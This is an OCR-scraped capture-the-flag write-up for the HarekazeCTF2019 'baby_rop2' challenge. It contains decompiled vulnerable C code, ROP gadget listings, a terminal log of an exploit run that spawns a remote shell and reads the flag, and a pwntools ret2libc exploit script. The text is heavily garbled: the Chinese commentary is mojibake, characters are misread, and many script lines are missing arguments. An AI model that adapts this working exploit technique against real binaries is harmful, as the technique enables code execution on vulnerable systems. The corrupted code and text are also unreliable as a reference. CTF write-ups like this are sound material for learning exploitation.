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@ “in ~/PWN/buu [10:50:48]

\[HarekazeCTF2019\ ]baby rop2
[ 1 '/home/mOsway/PWN/buu/[HarekazeCTF2019]baby_rop2'

Arch: amd64-64-1ittle

RELRO:
Stack:
NX
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int _ cdecl main(int argc, const char **argv, const char **envp)
{

int v3; // eax

char buf[28]; // [rsp+8h] [rbp-28h]

int v6; ff [rsp+1Ch] [rbp-4h]

setvbuf(stdout, @LL, 2, @LL);

setvbuf(stdin, @LL, 2, QLL);

printf("What's your name? ™, OLL);

v3 = read(®, buf, @x180ulLl);

vb = v3;

buf[v3i - 1] = @;

printf("Welcome to the Pwn World again, %s!\n", buf);

return 8; -
} CSDN @mOsway

® v3 = read(®, buf, Ox100uLL); : AFH buf A1 A ox100 A /N EHHE, 15 rbp ox20 , fAfErkii .
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@ in ~/PWN/buu [10:51:14]
-=-binary \[HarekazeCTF2019)\]baby rop2 |

0x0000000000400733 : ; ret

&

@ in ~/PWN/buu [10:58:15]
--binary \[HarekazeCTF2019\]baby rop2 |

0x0000000000400605 : ;3 or-ah, byte ptr [rax] ; add b
yte ptr [rcx], al ; ret
0x0000000000400731 : s pop r15 ; ret CSDN @

rsi KA A, rl5 fEARKpwn R EHAE], EEE A0,

5 R 5 B2 Hret2libefty A Rt it getshell T .

EEAAMN: FEMH read@got , printf@got AHITENEEHA T .
tEgetshellZ 514/~ /Nit: flagh#E 27T H3%, ££ /home/babyrop2/flag T



@ in ~/PWN/buu [11:05:48]
.. Jattack/\[HarekazeCTF2019\ ]baby rop2.

[+] Opening“connection to node4.buuoj.cn on port 26613: Done
[P " /home/mOsway/PWN/buu/[HarekazeCTF2019]baby rop2'

Arch: amd64-64-1little

RELRO:

Stack:

NX:

PIE: |

' [home/mOsway /PWN/buu/ubuntul6(64).so’

Arch: = amd64-64-little

RELRO:

Stack:

N%}
PIE:

read_addr: 0x7T0396a05250
system_addr: 0x7f0396953390
bin_sh_addr: 0x7f0396a9ad57
[ ] Switching to interactive mode
Welcome to the Pwn World again, MMMMMMMMMMMMMMMMMMMMMMMMMMMM
A!
cat flag
cat: flag: No such file or directory
~ cat [home/babyrop2/flag
flag{f4ba521b-720f-48a4-8bd0-cf1041c5e831}

5E 8 exp



from pwn import

remote ( ,26613)

elf = ELF(
libc = ELF(

rdi_addr = 0x400733
rsi_rl5 addr = 0x400731
main_addr = elf.symbols|[
printf plt=elf.plt|
read_got=elf.got|[
format_str 0x400770

(0x20+8) p64(rdi_addr) p64(format_str) p64(rsi_ri5_addr) p64(read_got) p64(0) p64(print
p64(main_addr)

r.sendline(payload)
read_addr ub4(r.recvuntil( )[-6:].1just(8,
print( (read_addr))

base_addr read_addr libc.symbols|[
system_addr base_addr libc.symbols|[
base_addr (libc.search(
(system_addr)))
(bin_sh_addr)))

(0x20+8) p64(rdi_addr) p64(bin_sh_addr) p64(system_addr)

r.sendline(payload)

r.interactive()
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